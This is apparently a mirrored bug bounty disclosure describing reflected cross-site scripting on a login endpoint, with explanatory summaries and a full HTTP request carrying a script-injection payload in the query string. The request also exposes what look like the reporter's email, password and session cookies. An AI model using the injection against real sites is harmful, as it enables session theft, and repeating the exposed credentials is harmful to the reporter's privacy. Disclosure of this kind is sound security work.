Reflected cross site scripting in login page
The login processing endpoint reflected a crafted query string parameter into the response without sanitisation, allowing script execution in the victim's browser. An attacker could use this to steal session cookies or manipulate the user's session.
Originally disclosed on HackerOne
- Triaged in 20 days
- Fixed in 54 days
- Disclosed after 4 months
It was observed that the application is vulnerable to cross-site scripting (XSS). XSS is a type of attack that involves running a malicious scripts on a victim’s browser. Once exploited It is possible to steal or manipulate a legitimate user’s session credentials including session cookies.
Request :
POST /login/process?e22ec"><script>alert(1)</script>edff4caab65=1 HTTP/1.1 Host: panel.stopthehacker.com User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://panel.stopthehacker.com/login Cookie: __utma=154329338.42246299.1398423628.1398423628.1398425435.2; __utmc=154329338; __utmz=154329338.1398423628.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); sth_panel=G%2CbOpqGLFXVqHBPLdVJcD2; __utma=66990511.534853050.1398423714.1398423714.1398427276.2; __utmc=66990511; __utmz=66990511.1398427276.2.2.utmcsr=stopthehacker.com|utmccn=(referral)|utmcmd=referral|utmcct=/; __utmb=154329338.1.9.1398427271588; __utmb=66990511.2.10.1398427276 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 100
email=robincool031%40gmail.com&password=259733%40ramani&login=&csrf=33ed08e46e14d0622ff36ad779654418
Cheers Robin
Attachments


Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Impact
An attacker could steal or manipulate a legitimate user's session credentials, including session cookies.
What the attacker needed
Victim triggers a crafted request
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Cross-site scripting (XSS) is when a website takes input from a request and puts it into the page without cleaning it, so a malicious script runs in the visitor's browser. Here the login page echoed part of the URL back, letting an attacker run their own code and potentially read the user's login cookie.
What is XSS?
Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.